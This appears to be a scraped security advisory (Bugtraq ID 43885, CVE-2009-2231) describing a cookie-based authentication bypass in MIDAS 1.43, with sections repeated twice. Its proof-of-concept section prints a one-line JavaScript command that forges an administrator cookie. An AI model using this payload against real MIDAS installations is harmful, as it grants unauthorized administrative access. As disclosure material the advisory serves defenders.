MIDAS Insecure Cookie Authentication Bypass Vulnerability
BID:43885
Info
MIDAS Insecure Cookie Authentication Bypass Vulnerability
| Bugtraq ID: | 43885 |
| Class: | Access Validation Error |
| CVE: |
CVE-2009-2231 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 22 2009 12:00AM |
| Updated: | Jun 22 2009 12:00AM |
| Credit: | HxH |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
MIDAS Insecure Cookie Authentication Bypass Vulnerability
MIDAS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain administrative access to the affected application; this may aid in further attacks.
MIDAS 1.43 is vulnerable; other versions may also be affected.
MIDAS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain administrative access to the affected application; this may aid in further attacks.
MIDAS 1.43 is vulnerable; other versions may also be affected.
Exploit / POC
MIDAS Insecure Cookie Authentication Bypass Vulnerability
Attackers can exploit this issue through a browser.
The following example cookie data is available:
javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";
Attackers can exploit this issue through a browser.
The following example cookie data is available:
javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";
Solution / Fix
MIDAS Insecure Cookie Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]